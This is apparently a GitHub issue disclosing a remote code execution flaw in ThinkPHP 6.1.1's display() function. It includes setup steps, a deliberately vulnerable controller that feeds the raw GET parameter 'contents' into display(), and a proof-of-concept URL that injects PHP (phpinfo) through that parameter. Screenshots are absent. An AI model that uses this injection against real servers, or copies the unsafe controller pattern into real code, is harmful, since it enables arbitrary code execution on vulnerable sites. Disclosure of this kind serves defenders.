beicheng-maker / vulns

5 stars 0 forks source link

ThinkPHP 6.1.1 display() presence of RCE #7

Open beicheng-maker opened 1 year ago

beicheng-maker commented 1 year ago

Environment installation test version:Thinkphp6.1.1 Environment configuration:(tp6只支持用composer安装) composer create-project topthink/think tp

Write a User.php file in the controller directory Modify the view.php file in the config directory to type='php' image contents contains

<?php 
namespace app\controller;
use think\view\driver\Php;
class User
{
    public function login()
    {
        $contents=$_GET['contents'];
        return display($contents,array('huahua'=>'huahua'));
}
}

access http://127.0.0.1/index.php/user/login?contents=<?php phpinfo();?> image

Vulnerability cause vendor\topthink\framework\src\think\view\driver\Php.php

image